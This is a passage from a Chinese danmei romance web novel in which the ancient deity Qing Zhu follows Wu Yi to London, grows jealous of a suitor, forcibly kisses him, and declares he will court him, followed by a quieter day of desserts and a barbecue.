乌宜有点走神,只好冲着他笑了一下,“是阿牧哥哥买的。” 沈跃揉了揉他的头,这才抬手跟阿牧击了个拳,后面还有其他朋友涌进来,他看出乌宜心不在焉,便趁着喝水的功夫摸摸他的肩膀。 “累了吗?去车上休息,我让司机送你回去。” 乌宜想了一下,“我跟你们一起吧,我去车上等你们。” “也好。” 沈跃找了个工作人员带他一起出去,乌宜走出会场,下意识摸出手机了,看见了李青泉五分钟前给他打的未接来电。 他下意识回拨过去,肩膀却被拍了拍。 浓烈的香水味袭来,他不由得蹙眉,往边上退了两步,抬头看见一个外国男人站在边上,脖子上挂着相机,想要过来搂他的肩膀。 叽里咕噜说的那些话他不太听得懂,前面的工作人员见状连忙过来将乌宜挡在身后,乌宜不知道他们在说什么,只是能够从对方毫无退让之意的行动中看出来者不善。 “我们先走吧。”他戳了一下那个工作人员的肩膀,不想跟这个人计较什么。 “您跟着我走。” 那人示意他先离开,可男人却穷追不舍,越过伸出手臂就要来捉他的手臂。 乌宜嫌弃地躲开,原本隐藏在心底的愤懑不满在此刻骤然窜起,“有病吧!” 他这会儿也不管那人听不听得懂自己的话,张口就要骂。 眼前忽然吹过一阵风,他眨眼的功夫,一抹高大的身影忽然立在了他的面前,背对着他。 长发扫过他垂在身侧的手背,仿佛也撩拨了一下乌宜的心弦。 是卿烛。 对面那男人猛然瞧见个比自己个子还高的,不由怔一下,下意识往前走,面前的人只是一抬手,他就像是被什么东西绊倒,踉跄着往后摔去,猛然掉进了喷泉池中,掀起巨大的水花。 这一幕吸引了周围退场宾客的注意,有不少人投来讶异的目光。 乌宜还没反应过来,就被牵着手腕带上了车。 司机认识他,只是站在下面笑了笑,同工作人员交涉。 车门被关上,乌宜愣愣地坐在位置上,手还被牵着,目光却不由自主地往身侧的卿烛追去。 对方还是那身简单的黑色大衣,长发散落,五官凌厉,此时血红的眸注视着他,没有说话。 他怎么会忽然出现在这里? 乌宜张张嘴,满肚子的疑问却有些难以开口,前些日子他很想念卿烛,可是一见到对方,便又想起沉睡之前的争吵。 那个梦境在脑海中逐渐升腾,让他垂下眼眸以后又忍不住地去打量对方。 有变得更加不一样吗?比之前更凶了吗? 可是卿烛总是这样一副面无表情的样子,让他此时很难判断。 他偷偷地看了卿烛好几眼,最终还是对方先开了口。 “住在哪?” 乌宜抿了一下嘴唇,“沈跃家里。” “你要等谁?” 猜到他的意思,乌宜犹豫一下摇摇头:“我们也可以先回去。” 卿烛便移开了目光,靠在椅背上。 “……” 手机还没播出去的电话被摁灭,乌宜降下车窗将自己要回去的消息告知司机,对方便结束了和工作人员的聊天,很快上了车。 路上车里很安静,卿烛一句话也没说,乌宜不知道他到这里来究竟是要干什么。 但想了想,他之前居然没有猜到这个可能性,明明之前还是抱着侥幸心理给卿烛办好了手续,可是他一直没有醒来。 可是他们来伦敦,是因为乌宜想要看沈跃的演出,而卿烛并不那么喜欢沈跃,又为什么要特意赶过来呢? 是特意来找他吗? 还是这里又有什么念力很强的人。 后面这个猜想显然有些莫名其妙了,可乌宜就是不太想要去多想第一个选择,他在卿烛这碰壁太多了,现在压根不想体会那种失望的感觉。 这份安静一直维持到了下车,乌宜礼貌地同司机道别,带着卿烛进了沈跃家里。 院子很漂亮,平时有专人打理,这段时间乌宜没事干就躺在吊床上面晒太阳,但这会儿并没有这个心情,便像是个小主人一样将卿烛带进去。 “你住哪?”卿烛问。 乌宜指了一下楼上,“沈跃给我收拾了一间房间。” “去你房间。” 卿烛抬腿就往楼上走。 乌宜觉得莫名其妙,但还是跟着他上去,带他回了自己房间。 行李箱摊开放在地上,衣服乱丢在沙发和落地置物架上,屋子里满满都是他的生活痕迹。 卿烛走到沙发想坐下,低头看见叠好的内裤,便将其放进了行李箱。 乌宜不安地走过去看着他,却在对方忽然抬眸时又移开目光。 “不想看见我?” 听见这话,他瞪大眼睛扬声控诉:“你还倒打一耙。” 卿烛微微挑眉,表情没怎么变,仿佛是不明白他在说什么。 难得鲜活的表情让乌宜有了些许熟悉感觉,胆子也变得更大了。 “你——” 他正要细数卿烛的不对,可话到嘴边忽然又停住,表情变了又变。 不对,他能说什么呢? 总不能说那天卿烛离开的时候其实他很期待对方可以哄哄自己,结果卿烛直接走了的事情吧,那岂不是显得他很期待。 想了半天,他憋着一股气,只能闷闷道:“谁让你忽然玩失踪的?李青泉可担心你了,你把事情闹这么大,看看你要怎么收场。” 卿烛说:“你让我来的。” “我什么时候……”乌宜下意识要反驳他,却忽然想起自己之前的确邀请过卿烛跟自己一起来,又只能恶狠狠转换攻击方向,“我是让你和我一起来,现在演奏都结束了,我都玩完过两天要回去了,你来干什么?” “和你一起回家。” “……” 乌宜盯着他,半天不想说一句话。 卿烛也直视着他,良久没有开口。 对视间,乌宜的目光忍不住落在他淡色的唇上,莫名其妙又想到了上面的触感。 他从前总觉得卿烛冷冰冰的,嘴也像是刀子做的,说句话都能呛死人。 可是亲上去也是软的,跟他的一样,还带着他很熟悉的那种淡淡气息,光是那简单的动作,就好像掌控了他的一切。 思绪逐渐飘远,直到对上了对方紧盯自己双眸,他才骤然回过神来,后知后觉感到了羞耻。 他刚才都在想什么啊。 “我、我没这么快回家。” 他下意识吐出口,发现自己说的话跟前面的矛盾,脸颊又红了。 卿烛似笑非笑地看着他,但也只是一瞬,他面上的情绪很快收敛起来,望向乌宜的眼神又变得认真严肃。 “我们好好聊聊。” “……” 这不是他第一次说这种话,但乌宜听见心里仍旧很不安,犹豫着在他对面坐下,只小声地问:“你要说什么?我可能没有太多时间,晚点我还想要去做点甜点吃。” 他一时间慌乱,说出的话都变得奇怪。 卿烛冷静道:“只是想知道你为什么生气。” 这个话题一出来,乌宜又闭上了嘴巴。 屋子里陷入长久的死寂,他不开口,卿烛也没催促,就这样相对坐着安静无言。 不知维持了多久,乌宜还是忍不住说:“你想不通就算了,反正也不是什么重要的事情。” 他实在不想勉强卿烛,其实生气的这段时间,他也很清楚,卿烛并不算是一个严格意义上的人,许多的人情世故和属于人类才有的情感,他并不能够完全理解。 那些梦境至少让他知道卿烛从前也没有那么体贴地对待过别人,现在耐着性子询问他主动来找他,也是他表达担忧的方式。 只是越是这样,他就越是清楚地感受到两人之间的差距。 卿烛是邪神,他万年不死,睡一觉便是人的一生时间,他只是一个很普通的人,或许对于卿烛来说,他跟那些小猫小狗之类的宠物也没有什么区别。 既然是这样,宠物的想法又有那么重要吗? 他一直记着那天的事情,好像也没有任何的意义,反正他们之间什么也不会发生的。 这个念头猛然冒出,他都被自己吓了一跳。 他在想什么! 似乎是看见他的脸色有变化,卿烛沉默良久还是主动开口。 “还是因为我亲你。” “你别说这件事了!” 乌宜脸上的温度瞬间变得滚烫,几乎灼人。 卿烛却并不是那么听话的人,沉着气道:“所以为什么?你想要怎么解决。” “不解决。”乌宜见他还提,心里也不禁生气起来,故意怼他,“反正我的初吻都没了,全都怪你。” 不知道是不是他的错觉,这句话说完以后,卿烛的目光忽然就落在了他的下半张脸,被盯住的地方变得灼热,他下意识舔了一下嘴唇,撇开脑袋。 卿烛这才说:“我没有逆转时间的能力,没办法让你的初吻回来。” 废话!他当然知道了! “你别管了,就当我被狗咬了一口。”乌宜说。 卿烛又看了他一眼,“你想要什么?” “我什么都没想要。” 乌宜下意识回答完,才猛然意识到他的意思,懵然的表情逐渐变作愤怒,“你什么意思?” 卿烛淡淡:“补偿。” 乌宜不可置信地看着他,简直气到嘴唇发抖:“你大老远跑过来,就是为了侮辱我吗?” 卿烛面上浮现困惑,似乎十分不解他忽然间的情绪爆发。 “我讨厌死你了!” 乌宜眼眶一酸,想也不想便起身出了门。 砰的一声,房门重重关上,外头传出咚咚咚的下楼脚步声,动静之大,能够听出乌宜有多生气。 卿烛不解地蹙紧眉头,起身走到窗前,看见少年气冲冲走出院子,爬上吊床躺下,露出一个圆滚滚的后脑勺。 他不太明白,从前和乌宜闹了不愉快,这种方式都能将人哄好,怎么现在反而不奏效了。 乌宜喜欢很多花里胡哨的东西,他平时并不能都满足,但吵架时无论乌宜提什么,他都会全了对方的心愿,就算是现在他还记得请乌宜曾提出过但没被采用的音乐烧烤店方案。 他不感兴趣了吗?之前那么想要,现在居然连提也没提。 下面的乌宜并没有察觉到自己正被人盯着,他脱下外套盖在脸上,面上却没有任何的表情。 他现在其实没有在生卿烛的气了,他只是觉得很无力,感觉自己在无理取闹,可是又不知道究竟想要什么。 连他自己都搞不明白,卿烛又怎么能从他这里得到答案呢? 怎么办…… 沈跃他们回到家看见乌宜躺在吊床上,便都围了过来,摘了他的外套捏脸玩。 “天天晒都不够啊,你不热吗?” 说完看清楚那张板着的小脸,又立马收敛笑容。 “怎么了?”沈跃听说了门口发生的那些事情,以为他还在生气,便提议,“晚上我们去俱乐部玩,我们一起好不好?带你认识一点新朋友,他们都很热情的。” 乌宜眨了眨眼睛,其实没有太多兴趣,但他也不想待在家里,便点点头,“我要去。” “好。”沈跃宠溺地捏了一把他的脸,“我去给你选衣服要不要?” 他的审美向来不错,乌宜平时买了新衣服搭配的时候也会询问他,但这会儿却露出犹豫的表情,“卿烛来了。” 沈跃怔愣一下,反应过来工作人员说的那个陌生男人就是乌宜的哥哥。 “那要带上他吗?你哥哥看起来不太喜欢那种场合。” 之前他们聚会的时候,这个人似乎就有些格格不入。 “嗯,不带他。” 晚上连招呼都没打,乌宜穿着看演奏的那身衣服就直接跟着沈跃他们出门了,只是抵达了乱哄哄的地方,心里又有点后悔,索性坐在角落闷头吃蛋糕。 这里的人看起来都很放松,穿着常服,时不时便有人过来邀请他去院子外面跳舞,他都没有答应。 不多时,沈跃的一个朋友在他身边坐下,给他递了一杯颜色很漂亮的鸡尾酒。 “这是我刚才做的。“ 冰蓝色的分层,乌宜很喜欢。 他正伸手要去拿,又被男人阻止了,“我给你变一个魔术,让它变得更好喝,怎么样?” 乌宜眨眨眼,点头。 男人用手遮住酒杯上沿,不知做了什么,撤开时杯壁已经燃起了一圈蓝色的漂亮焰火。 乌宜之前在酒吧里面也见过这种,但都是远远看着,第一次离这么近,于是便也很捧场地鼓了掌。 “好厉害!” 男人笑笑,等那焰火消失后,将鸡尾酒推到了他的面前。 “看你今晚一直都不太高兴,希望能让你心情好一点。” “谢谢。” 乌宜很给面子地端起来喝了一口,味道甜甜的,还算不错。 听见他的夸奖,男人笑了起来,“你坐在这是不是很无聊?困了的话我先送你回去。” 乌宜犹豫着看了沈跃他们的方向一眼,还是摇了摇头,“等他们一起吧,我不想自己回去。” 男人也没有勉强,找了个更舒服的姿势坐好,跟他聊了不少话题。 乌宜起初还有点拘谨,但听说他也喜欢做烘焙,顿时眼睛发亮跟他讨论起了自己的小店。 两人相谈甚欢,直到沈跃他们准备回去了,还坐上同一辆车接着聊。 再度回到沈跃家里,乌宜有种恍若隔世的感觉,因为喝了一点酒脑袋发晕,抬头看了一眼自己房间里没有灯,心情忽然一落。 是睡着了吗? 着急同几人告别,他快步上了楼,进门打开灯,果然发现屋子里空无一人。 不是吧,就因为他冷落卿烛那么一会,就丢下他走了? 该不会这会已经上飞机了吧。 他又气又急,给卿烛打电话,响了几声对面接了。 “结束了?” 他的声音听不出生气的意思,乌宜拿不准主意,只能试探着问:“你在哪里?” “隔壁房间。” 真的假的? 乌宜现在压根不敢相信他的话,甚至觉得他可能是在骗自己,转头就去了隔壁,直接将门推开,就看见卿烛坐在沙发前,手边还放着一本陈旧破损的古籍。 他还拿着手机贴在耳朵边上,见到这一幕怔愣良久,只觉得尴尬。 他今天都为卿烛担心多少次了,怎么还不长记性呢! “ 早点休息,我和你一班的机票。” 乌宜哦了一声,转身要出去,却见方才在俱乐部和他聊天的男人不知何时追了上来,原本正要往他的房间走,看见他站在敞开的房门中,露出了点笑意。 “还以为你去休息了,想起来还没加你的联系方式,群里那个蛋糕头像的是你吗?” “不是。”乌宜打开手机,把自己的账号信息给他看,“这个才是我。” “好,我加你一下,回头有空可以一起切磋烘焙手艺。”对方笑的温柔,下意识往房间里看了一眼,却因为半掩的门遮住视线,没能看清楚里面的全景。 “对了,还有件事情想和你说。” 乌宜低头通过好友申请,本来都以为他要离开了,可听见这句又好奇抬头。 “嗯?” “我准备追求你,所以想问问你的具体喜好,等回国以后才好投其所好。” “啊?” 乌宜都愣住了,半天没能理解他在说什么。 男人却是笑:“很惊讶吗?我感觉自己今晚做的很明显呢,看来沈跃说得对,跟你还是打直球比较好。” 乌宜听见这话更愣了。 男人也意识到自己的话不对,连忙道:“我得帮沈跃解释一句,他不会在私底下提别人,只是原先我们讨论阿牧好感对象的攻略方式时,我很阴暗地提起你,故意从沈跃口中得到了一两句评价。” 乌宜只觉得纳闷,硬着头皮问:“他说我什么?” “他说你比较单纯迟钝,如果有人向你示好的话,说不定你都察觉不出来是什么意思。”男人有些不好意思地笑了笑,“所以还是决定直说。” “……” 乌宜想要找点借口搪塞过去,像往常那样拒绝,男人却像是意识到了他要说什么,先一步打断。 “不要现在拒绝我,至少给我一个追求的机会好吗?说不定我能够打动你呢。” 不等乌宜开口,他忽然上前一步,笑得眼眸微微眯起,是很阳光帅气的模样。 “我知道你没有谈过恋爱,是一个边界感很强的人,但也请你相信我,我不是一个鲁莽的人,会对你有足够的尊重,在你没有同意的前提下,也绝不会打破你设下的边界。” 乌宜有点不知道该怎么回答了,只是身后忽然响起些许细碎的声音,他耳朵动了动,迟钝意识到卿烛也在房间里。 不知出于什么心态,他鬼使神差地问:“你打算怎么追求我呢?” 男人眼睛微微一亮,“如果你愿意给我一些提示的话……” 乌宜故意说:“我最讨厌对我态度冷漠的人,也不喜欢寡言少语的性格。” 男人了然点头:“你放心,我很健谈,而且面对你的时候,我总是有说不完的话,今晚你应该也感受到了,我还有很多的话题想要和你聊,又怎么会冷落你呢。” 他越是说,乌宜就越是感觉后背发烫,仿佛有一束灼热的目光落在身后。 “那……” 他说到这里,居然真的生出了些想要尝试的冲动,毕竟从前他都是果断拒绝不给一丝希望,从来没有允许过别人公然追求自己。 可还没等他开口,就见男人的视线忽然投向了他的身后,变得有些错愕。 他正要回头,肩上就落了一只手。 卿烛宽大修长的手掰住他的肩膀,整个人贴近,他完全被收拢进对方的怀中。 “该睡觉了。” 男人微怔,虽然不明白房间里为什么还会有别人,但很快认出这是乌宜的哥哥,便露出了一个礼貌的笑容正欲打招呼。 可他手还没抬起来,房门就重重在面前关上,他愕然站在外面,想起来乌宜方才被那人罩在怀中时仓皇的表情,以及乌宜那个神秘哥哥看着他时的那种冰冷,犹豫是否要敲门再看看里面的情况。 下一瞬,近在咫尺的房门传出沉闷的响动,像是有什么东西重重撞在了门上—— 作者有话说:有人要发疯[摆手][裤子] 第42章 男人有些不安, 抬手敲了敲门,轻声唤道:“乌宜?” 没有人回话。 而在光线昏暗的屋内,乌宜被过分高大的身躯包围在门前, 从正面几乎看不见他的身形,像是被黑雾所吞噬笼罩。 下半张脸被宽大的手掌捂住,他没办法发出丝毫声音,鼻息急促而又灼热,眼神明显惊慌。 他感觉到卿烛此时的状态不太对劲, 殷红的眼眸再度散发出那种类似宝石被强光照后反射出的亮光,显得冰冷而阴森。 想要说话,可是嘴巴张开却说不出来, 反而弄得卿烛的手掌湿乎乎一片, 他有点喘不上气,只能用控诉的眼神瞪着眼前人, 做无声的抗议。 他真的烦死这个人了。 “你喜欢他?”卿烛的声音很低,带着显而易见的困惑。 乌宜又想说话, 却只能发出唔唔声响。 卿烛似乎并不想听他的答案,只是脸色阴沉到难看,“你和他才见过几次, 就因为他对你热情, 就要答应?” “……” 到这里,他似乎又想要听乌宜说话了, 微微将手撤开。 乌宜立马抓住他的手,重重咬下去。 被他捉住的修长手指微微绷紧,虎牙算不上钝,陷进皮肤里留下深深的印记,卿烛完全可以甩开他, 可却并没有这么做,只是任由他发泄怒气。 咬到腮帮子发酸,他眨一下眼睛,眼泪就掉下来,重重地落在卿烛受伤的手背上。 “我讨厌你,其他人都可以谈恋爱结婚,还生孩子,我凭什么不可以?” 他越想心里越委屈,忍不住骂道:“你就是故意的,天天说我和别人不一样,给我戴这么多高帽子,其实就是想我孤独终老,整天围着你转,你都没想过我的感受!” 卿烛简直要气笑了。 “你是这么想的?” “你本来就是这样做的。”乌宜气上来了,口不择言,“我现在算是明白了,你总是把我们这些没人要的留在身边,就是想让我们一辈子都追随你,如果不是因为你提前沉睡了,说不定他们几个现在连家都成不了吧!你这个变态控制狂!” “……” 卿烛冷笑一声,“所以你从我这里讨不到的东西,就要去向别人讨?” 他说话太难听,仿佛把乌宜形容成了一个小乞丐,于是乌宜的眼泪掉的更凶了。 “我哪里讨了?是别人主动给我的,你什么都不给我,对我这么坏,我才不要理你,我以后再也不会找你要任何东西了,你也自己去找那个狗屁能力吧,我再也不管了!” 他说着,便开始剧烈挣扎,想要逃脱卿烛的桎梏。 可卿烛也铁了心不让他走,掐住他的脸,迫使他抬头看向自己,可望见那双水光潋滟的眸,动作又轻了些。 他抬手,重重拭去他脸上的泪痕,看着新的眼泪又像掉线珍珠般簌簌落下,眉心不由得蹙紧。 叹口气,他忍无可忍:“你问过了吗?就说我不给。” 乌宜不想跟他吵了,毫无形象地哭起来,心里难过极了。 “我不是让你提,你什么也不说,我怎么知道你要什么。” 到现在他依旧冷静,衬得乌宜像是个不懂事的孩子。 “我什么都不要,我要回家!我以后再也不要见到你。”他说。 卿烛眸底的红光闪过,看着乌宜哭到发红的眼,整个人像是从水里捞出来,一种前所未有的凌虐欲骤然升起,让他在某个瞬间几乎失去了理智。 他不想再去管乌宜究竟想要什么,掐着那张水哒哒的脸,俯身便吻住了那还未合上的湿润嘴唇。 这个吻凶而重,像是蛰伏许久的野兽,要将这只漂亮脆弱的猎物吞吃入腹。 乌宜感觉自己好像陷入了坚硬的门板中,他想要推开卿烛却怎么也做不到。 熟悉的气息卷入唇齿之间,敏感的上颚被舔舐过,让他感到双腿发软,仿佛有一簇电流顺着脊背往上窜,让他陷入了某种无法控制的轻颤中。 嘴唇合不上,鼻间发出细细的哼声,他几乎喘不上来气,水液顺着唇角溢出。 再度被松开时,他下意识张开嘴剧烈呼吸。 可是他忘记了卿烛并没有退开多久,所以还没等他呼吸缓和过来,男人便又抚住他的脸颊,重新掠夺了他的呼吸。 身体因为脱力滑落,结实的手臂将他捞起,抵在门板上凶狠地侵占。 乌宜整个人都懵掉了。 终于被放开时,身体软的不像话,他大口大口喘着气,又害怕卿烛再次吻上来,只能惊慌地用手捂住嘴巴。 他不知道此刻的自己有多漂亮,卷翘浓密的睫毛被泪水沾湿,蓝色的眸荡漾着一层水光,要比平时更加清澈,眼尾鼻尖都落着绯红,挡在手下面的嘴唇嫣红宛若熟透的花瓣,若隐若现。 察觉到卿烛的目光充满占有欲,乌宜被吓得身体一颤,打心里感到委屈。 “你、你还欺负我。” 卿烛从小到大都是保护他的人,第一次对他有这么凶。 不同于他的呼吸急促混乱,卿烛始终很稳定,道:“不要找别人,你想跟人做这些事,跟我做就是。” 他在说什么! 乌宜觉得他简直不可理喻,抬手就重重往他头上打去。卿烛没躲,只是脸色微微紧绷,最后反而是他的手被打的很疼,抽回时不慎勾到对方的的一缕发丝,缠绕在手指上扯了下来。 乌宜有些许惊惧,却仍气愤道:“谁想和你……我根本就不想和人亲!你别太把自己当回事了,人家都要追求我,你想亲就亲,你以为你是谁啊!” “那我追你,你要怎么追?”卿烛紧蹙眉头,似乎又觉得不对。 乌宜心里的怒火闻言烧得更加旺盛了。 “你、你追个屁啊!你喜欢我吗?你就追追追的,谁要你追了!你走开……” 看着他又要哭,卿烛忍无可忍,“别人能追,我不能追?” “别人追我是喜欢我,你又不喜欢我,你干嘛追我啊?你有病吧你!” 乌宜说心里越气,只觉得跟他讲话是在对牛弹琴。 卿烛沉默了,居高临下的看着他,几秒后像是忽然反应过来什么,“所以你之前的确是在因为这件事情生气。” 乌宜怔一下,打了个哭嗝,猛的抬手去锤他。 “你放屁!你这个人怎么这么自以为是,猜不准就不要乱猜行不行!” 卿烛实在搞不懂他,只能耐着性子抬手给他擦眼泪,“别人追你,你高兴,那我也追你,这有什么错?” 乌宜完全搞不懂他的逻辑。 “你知道喜欢一个人是怎么回事吗?就开始说要追人了,那你要是真追上了怎么办?活了几百年都没喜欢过别人,干嘛故意来欺负我,是想羞辱我吗?而且我也不喜欢你。” 他说这些时难得沉下气来,可声音还是打着哭颤,显得有几分可怜。 手忽然被抓住。 卿烛垂眸深深的看着他,神色复杂似乎正在认真思考着什么。 半晌,他说:“我不是没喜欢过什么东西,至少我不排斥跟你亲近,你跟那些人都不合适,真的想要谈恋爱不如跟我。” 他还是想明白了。 至少他了解乌宜的一切,懂他的所有脾气,要比所有人都更亲近,而且他并不讨厌乌宜,甚至对这个小家伙时常生出心疼和怜爱之意。 爱情也就不过如此了吧。 只是想起那些人时常在乌宜面前晃的画面,他心中那股残存的暴虐欲还是始终无法挥散,让他心里总是感到躁动。 “你不嫌弃我,我还嫌弃你呢!” 乌宜恶狠狠地瞪住他,发现他好像说的是真的,顿时忍不住脾气,冷笑一声,破罐子破摔。 “好啊,那你想追就追吧。” 他想明白了,他才不管卿烛说的是真是假,反正追他就得所有都听他的,像当狗一样听话,反正这辈子他都不会答应卿烛的追求,这又有什么不好呢? 只是在此之前他回过神,看见自己喘不上气,卿烛却只是衣服微乱,依旧气定神闲的模样,眼睛一眯,就不服气地狠狠扑上去。 “把我的初吻还给我!” 卿烛下意识托住他的臀和后背,眨眼的瞬间就看见小家伙恶狠狠抬起头,用力咬住他的嘴唇,腥甜的血味在唇间弥漫开,他却没有将人推开。 发泄够了,乌宜喘着气离开,嫣红嘴唇上还染着淡淡的血色。 “我告诉你,你想追我就不准再亲我,什么事情都要听我的,你要是敢忤逆的话,我就不让你追了!” 说到这里顿了下,他想到让卿烛情绪改变的契机,自己似乎说了一句要跟他分道扬镳的话,这会儿便又补充。 “然后我们以后都别再见面了!“ 卿烛原本淡色的唇染上鲜血,仿佛同那异于常人的眼眸相映衬,让此时的他显得更加邪魅神秘,他了然点头,“好,我同意。” 反正这么多年,两人的关系也是一直维持这样。 乌宜哭也哭够了闹也闹够了,伸手锤他要下来,却被他捞回去整理衣服,又给他擦去眼泪。 挣扎不开,他索性也任由卿烛去了,只是自己抿着嘴唇生闷气,吸吸鼻子脑袋还是懵的。 被送回房间的时候,卿烛被他赶走,屋子里瞬间陷入沉寂,再没了旁人,他不顾形象地趴在床上,摸摸红肿的嘴唇,又跑起来去镜子里看自己白里透红的脸颊。 薄薄的眼皮微微肿起,一看就是狠狠哭过,嘴巴嘟嘟的,显得特别…… 他想起来刚才发生的事情,觉得莫名其妙,又有点后悔。 卿烛疯了,难道他也跟着一起发疯吗?好端端的干嘛提这些追来追去的事情。 仓促洗过澡,他把自己埋进被子里面,剧烈的情绪起伏过后,心情又变得纠结苦恼,困惑在心中盘旋,让他觉得头很疼。 怎么办啊,他以后还要怎么跟卿烛相处。 而且……卿烛真的要追他吗? 忍不住的抓狂,他把脸埋进枕头里面,露在外面的耳尖红到滴血,在隔壁房间那些激烈暧昧的画面又涌入脑海中,让他羞愤欲死。 莫名的,发生了这么多事情,这天晚上他竟然困得很早,前一分钟还在被子里摸着自己仍旧发麻的嘴唇,合上眼不知不觉就睡着了。 次日醒来,卿烛已经不在沈跃家里,他下了楼还在犹豫要不要问,就听阿牧主动和他说了卿烛一大早出去的事情。 说完还补充一句:“他看起来对这里很熟。” 乌宜心知肚明,卿烛总是看起来很淡定,或许也是因为他只要看一眼地图就能够记清楚所有的路吧,这种情况下,他却是也不会像普通人一样找路找到发疯。 他们明天就要回去,今天自然又是各种聚会,后院的恒温游泳池被挤满,乌宜并不是很想下水,喝了点东西就回到房间玩手机。 前一天向他告白的男人询问他是否要吃东西,表示自己给他送上来,可他看着消息想了想,还是发去了很认真的拒绝消息。 虽然很突兀,可是他也很为自己昨天故意气卿烛而跟对方多说的那几句话而后悔,他从前听说过文雅追求喜欢的人时被故意吊着的事情,所以始终秉持着不打算接受就不给任何的机会的宗旨。 没想到在这里却被打破了。 他向对方道歉,可聊天框上面却一直重复在显示输入中,让他心中的愧疚变得更加旺盛了。 好在最后对面回复了一个没关系的摸头表情,才让他松了一口气。 正退出界面,新消息又弹了出来。 卿卿:[图片] 卿卿:[吃吗?味道不错] 乌宜放大图片一看,发现是一家甜品店的橱窗,里面那些漂亮的面包点心十分引诱人,而且看起来就很有设计。 第一反应是拒绝,可又想到昨天卿烛说什么事都听他的,心底又无端升起一股悠然自得来。 也是,他为什么要给卿烛省事呢? 想也没想,他编辑图片,将上面的十几款甜品都用红线画上圈发过去,并且备注每一样都要二十份。 正好大家都在下面玩,并没有准备吃的,这些用来做下午茶正合适。 发完,他又有点后悔,毕竟这些实在是太多了,卿烛一个人拿的话会很费劲,可对面却只是回复了一个好字,之后便再没发过消息。 不知过去多久,他时刻听着楼下的动静,所以在车上接近时,便下意识跳下床赤着脚走到窗前往下面看。 门打开,果然是卿烛回来了。 他几天倒是没有一身黑,墨绿色的冲锋衣微微敞开,长发没有束起,垂落在腰间,五官妖冶精致到不像真人。 看见他拎着两大袋东西回来,院子里的人纷纷惊呼起来。 “我的天,你真是我们的神!“ “鬼知道我刚才游了一个小时有多饿,可恶的沈跃没给我们准备吃的。” 卿烛任由他们接过,乌宜在楼上看着,正松口气,就听见他说了自己的名字。 “原来是小宜特意嘱咐的,他可真是天使啊。” “说起来,他一直在楼上休息,我们吃完准备开始去后院搭建烧烤了,你去喊他下来吧。” 见卿烛消失在庭院中,乌宜连忙跑回房间,躺在床上拿起手机点开,动作有些慌乱,注意力却全落在了门外。 这一刻,脚步声变得尤其清晰,他清楚听见卿烛停在了自己门前,然后抬手轻叩房门。 倒是很礼貌。 他抿了抿嘴唇,却不知道要怎么回应。 不多时,声音又响了一次,他忍不住装死,可房间门却直接被推开。 他震惊地抬起脑袋看过去,见卿烛脱掉了那件外套,里面只穿着一件很薄的毛衣,宽阔的肩颈轮廓被完全勾勒出来,显得尤其有侵占感。 “你进来干什么?” “没听见声音,怕你出事。”卿烛虽然这么说着,却直接走进门内,反手关上了房门。 乌宜心里更不安了,连忙坐起来,冷道:“我就是不想搭理你。” “给你留了一份。” 卿烛将手中拎着的纸袋放在了床头上,并没有因为他刚才的话而生气,只是静静地看着他。 乌宜哼哼两声,感觉肚子也有些饿了,索性还是起来拿起袋子,把里面包装精美的蛋糕拆开,走到小客厅吃。 房间里很暖,地上也每天都有搞卫生,所以他没有穿鞋子,踩在地毯上。 在沙发坐下,卿烛好走到他边上,将拖鞋丢到了他的脚下,然后忽然在他面前站定,俯身下来。 身体微僵,他下意识睁大眼睛,有些惊讶地看向面前人,然后身体猛地往后退,想要躲开他的动作。 卿烛的手顿了一下,还是伸过来,把他唇角差点吃进去的头发掖到耳后。 做完这件事,他收回手起身,坐在了乌宜的身边。 气氛迷之尴尬,乌宜小口小口吃着面包,直视前方,余光却忍不住地往他身上挪。 这个人到底要干什么啊?今天就变得这么奇怪。 他想着,下意识开口问:“你今天去干什么了?” “探望了一个人。”卿烛说。 “谁?” 卿烛:“从前认识的一个人。” 这说了不是跟没说一样吗? 乌宜不想搭理他了,闷头把另一个蛋糕拆开,自己吃了两口有点吃不下,想到一会儿还要吃烧烤,就有些舍不得把肚子填饱,他犹豫半天,又习惯性去看卿烛。 “卿卿,你吃吗?” 他要求人的时候语气总算软软的,眼睛很亮,很难让人说出拒绝的话。 不过卿烛从前也是经常拒绝他,现在看了他一眼,却只是道:“吃不下了?” “不是哦,我觉得这个味道不错,所以给你尝一点。”乌宜说到这故意装作生气,“怎么?你还嫌弃我不成?” 昨天刚跟他说了那么多好听的,难不成今天就要改变心意了? 似乎是猜出了他心里在想什么,卿烛有些无奈地笑了一下,接过他的蛋糕,毫不嫌弃地三两口吃掉了。 见他真的没有露出任何其他表情,乌宜才松口气,可同时也有点不好意思。 他是完全不吃别人东西的,所以换位思考一下,只觉得卿烛好像真的对他有点好。 但这点小事还不足以让他感到安心,这会儿达成目的又忍不住变本加厉提要求。 “那我可以开音乐烧烤店吗?” “……” 这个问题还是来了。 卿烛这次没再跟他分析利弊,只道:“选址让岑悦定。” “好!” 乌宜也很快满足,嘚瑟地端起水杯喝了一口,小眼神忍不住往他身上瞥。 昨天本来心里还很难过绝望的,可今天他发现,自己和卿烛的相处模式似乎并没有因为那件事而改变多少,反而,卿烛变得更加听他的话,这大大弥补了他从前心中的遗憾,也让他觉得很舒服。 要是能一直这样下去就好了。 不多时,沈跃喊人在楼下催促,他们便往楼下去。 走出大门,烧烤的香气散出,他脑海中不合时宜地涌现起昨晚的画面,忽然间激起了一个荒谬的猜想。 卿烛该不会……是真的喜欢他吧? 其实昨天听对方要追自己时,他第一反应是卿烛为了把他圈在身边已经不择手段了,虽然很早就做好了一辈子和卿烛在一起的准备,可随着日渐成熟,他似乎变得不那么满足了。 昨天也是真的思考过自己是不是应该试着去谈一段恋爱,找到能够交心的爱人。 卿烛说过他想做什么都可以,只是没有自由,他可以谈恋爱,却不能和除了卿烛以外的任何一个人绑定一生,这代表他能够尝试,却没有结果。 其实是很悲哀的事情。 但如果对象是卿烛呢? 心跳忽然间乱了一拍,他忽然被人搂住肩膀,转头看见阿牧灿烂的笑脸。 没有听清楚对方在耳边说什么,他只是也很配合地弯起眼眸笑了起来,目光却忍不住在人群中搜寻卿烛。 卿烛似乎被喊去烧烤炉边上帮忙,桌上都是烤焦的串,相较于周围人的激动,卿烛没什么表情,俯身调节了炉火,卷起袖子将烤串放上去,刷油的动作很是娴熟。 他总是做什么都上手很快。 乌宜盯着看了很久,好像是第一次发现,卿烛的人形看起来年龄并不大,也就是人类二三十岁的模样,只是浑身那股属于邪神的威压和肃杀给他覆了一层不可接近的距离感,会显得不像是这个年纪的人。 除此之外,他也是真的长得很好看。 